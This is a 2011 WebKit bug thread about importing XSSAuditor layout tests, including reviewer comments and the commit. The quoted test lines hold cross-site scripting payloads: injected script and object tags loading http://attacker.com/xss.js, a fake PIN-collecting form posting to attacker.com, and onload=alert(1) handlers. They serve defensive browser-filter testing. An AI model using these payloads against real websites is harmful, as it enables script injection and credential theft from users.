Bug 54576 - Import XSSAuditor tests from David Ross
Summary: Import XSSAuditor tests from David Ross
Status: RESOLVED FIXED
Alias: None
Product: WebKit
Classification: Unclassified
Component: New Bugs (show other bugs)
Version: 528+ (Nightly build)
Hardware: Other OS X 10.5
: P2 Normal
Assignee: Adam Barth
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2011-02-16 12:34 PST by Adam Barth
Modified: 2011-02-17 02:41 PST (History)
4 users (show)

See Also:


Attachments
Patch (19.70 KB, patch)
2011-02-16 12:39 PST, Adam Barth
no flags Details | Formatted Diff | Diff
Patch (19.79 KB, patch)
2011-02-16 14:35 PST, Adam Barth
no flags Details | Formatted Diff | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description Adam Barth 2011-02-16 12:34:54 PST
Import XSSAuditor tests from David Ross
Comment 1 Adam Barth 2011-02-16 12:39:55 PST
Created attachment 82676 [details]
Patch
Comment 2 Eric Seidel (no email) 2011-02-16 12:45:01 PST
Comment on attachment 82676 [details]
Patch

The test output isn't very nice.  Should we put these in their own folder?  Otherwise looks OK.
Comment 3 Daniel Bates 2011-02-16 13:13:33 PST
Comment on attachment 82676 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review

> LayoutTests/http/tests/security/xssAuditor/form-action.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>">

It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>">

Ditto.

> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//">

Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//">

Ditto.

> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
> + 

Is this suppose to be empty?

> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
> +   

Is this suppose to be empty?

> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?>"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?>"></iframe>
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?"></iframe>
> +</body>

It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.

Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded.
Comment 4 Daniel Bates 2011-02-16 13:15:21 PST
Comment on attachment 82676 [details]
Patch

I didn't mean to clear the review flag. I'm still looking over the patch since the review tool prevented me from scrolling to the bottom of the patch given I enlarged the general comment text field (by clicking on it).
Comment 5 Adam Barth 2011-02-16 14:27:09 PST
> Should we put these in their own folder?

They're already in an XSSAuditor folder.  It's just from an email he sent me.  I don't think it need another folder.
Comment 6 Adam Barth 2011-02-16 14:31:56 PST
Comment on attachment 82676 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review

>> LayoutTests/http/tests/security/xssAuditor/form-action.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>">
> 
> It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

Done

>> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//">
> 
> Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
>> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
>> + 
> 
> Is this suppose to be empty?

Yes.  It will be non-empty once we pass the test.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
>> +   
> 
> Is this suppose to be empty?

Same.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
>> +</body>
> 
> It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.
> 
> Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded.

I've changed the URL as requested.  The ? is necessary.  David didn't escape it, so I'm inclined to leave it.
Comment 7 Adam Barth 2011-02-16 14:35:02 PST
Created attachment 82699 [details]
Patch
Comment 8 Daniel Bates 2011-02-16 14:41:37 PST
Comment on attachment 82699 [details]
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review

Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

> LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22">

Remark: You also use "alert(1)" here.
Comment 9 Adam Barth 2011-02-16 14:49:26 PST
> Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Ok.  My plan is to just fix them.
Comment 10 Daniel Bates 2011-02-16 14:51:02 PST
(In reply to comment #8)
> (From update of attachment 82699 [details])
> View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review
> 
> Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Also, open-script-src and open-iframe-src have empty expected result files as well.

I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:

"Blocked access to external URL http://attacker.com/"

Now, the expected results file iframe-injection-expected.txt is empty.

I expected the latter (which we have now). I am curious about that "Blocked access" message.
Comment 11 Adam Barth 2011-02-16 14:54:46 PST
> Also, open-script-src and open-iframe-src have empty expected result files as well.

Yep.  They need to be fixed.

> I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:
> 
> "Blocked access to external URL http://attacker.com/"
> 
> Now, the expected results file iframe-injection-expected.txt is empty.
>
> I expected the latter (which we have now). I am curious about that "Blocked access" message.

That was DRT telling us that we tried to load attacker.com.  It blocked it because we're not allowed to talk to external web sites during testing.
Comment 12 Adam Barth 2011-02-16 15:28:54 PST
(In reply to comment #8)
> (From update of attachment 82699 [details])
> View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review
> 
> > LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
> > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22">
> 
> Remark: You also use "alert(1)" here.

Oops.  I'll fix this in a followup.
Comment 13 WebKit Commit Bot 2011-02-16 19:05:59 PST
Comment on attachment 82699 [details]
Patch

Clearing flags on attachment: 82699

Committed r78776: <http://trac.webkit.org/changeset/78776>
Comment 14 WebKit Commit Bot 2011-02-16 19:06:04 PST
All reviewed patches have been landed.  Closing bug.
Comment 15 Csaba Osztrogonác 2011-02-17 02:41:00 PST
The new http/tests/security/xssAuditor/script-tag-with-fancy-unicode.html
test fails on Qt. I filed a new bug on it: https://bugs.webkit.org/show_bug.cgi?id=54630